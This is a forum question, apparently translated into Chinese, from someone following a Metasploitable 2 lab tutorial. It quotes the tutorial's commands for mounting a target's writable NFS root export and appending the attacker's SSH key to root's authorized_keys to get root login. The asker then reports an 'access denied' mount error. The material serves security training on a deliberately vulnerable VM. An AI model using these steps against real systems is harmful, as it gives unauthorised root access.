mount.nfs:挂载时服务器拒绝访问:/

mount.nfs:挂载时服务器拒绝访问:/

我正在编写 Metasploitable 2 教程:Rapid7 Mestasploit 教程链接

我正在尝试执行以下操作:

访问具有这样的可写文件系统的系统是微不足道的。为此(并且因为 SSH 正在运行),我们将在攻击系统上生成新的 SSH 密钥,安装 NFS 导出,并将密钥添加到 root 用户帐户的authorized_keys文件中:

root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh [email protected]
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#

当我收到以下命令时:mount -t nfs 192.168.99.131:/ /tmp/r00t/

我收到以下错误:

mount.nfs: access denied by server while mounting <IP>:/

任何帮助,将不胜感激。

相关内容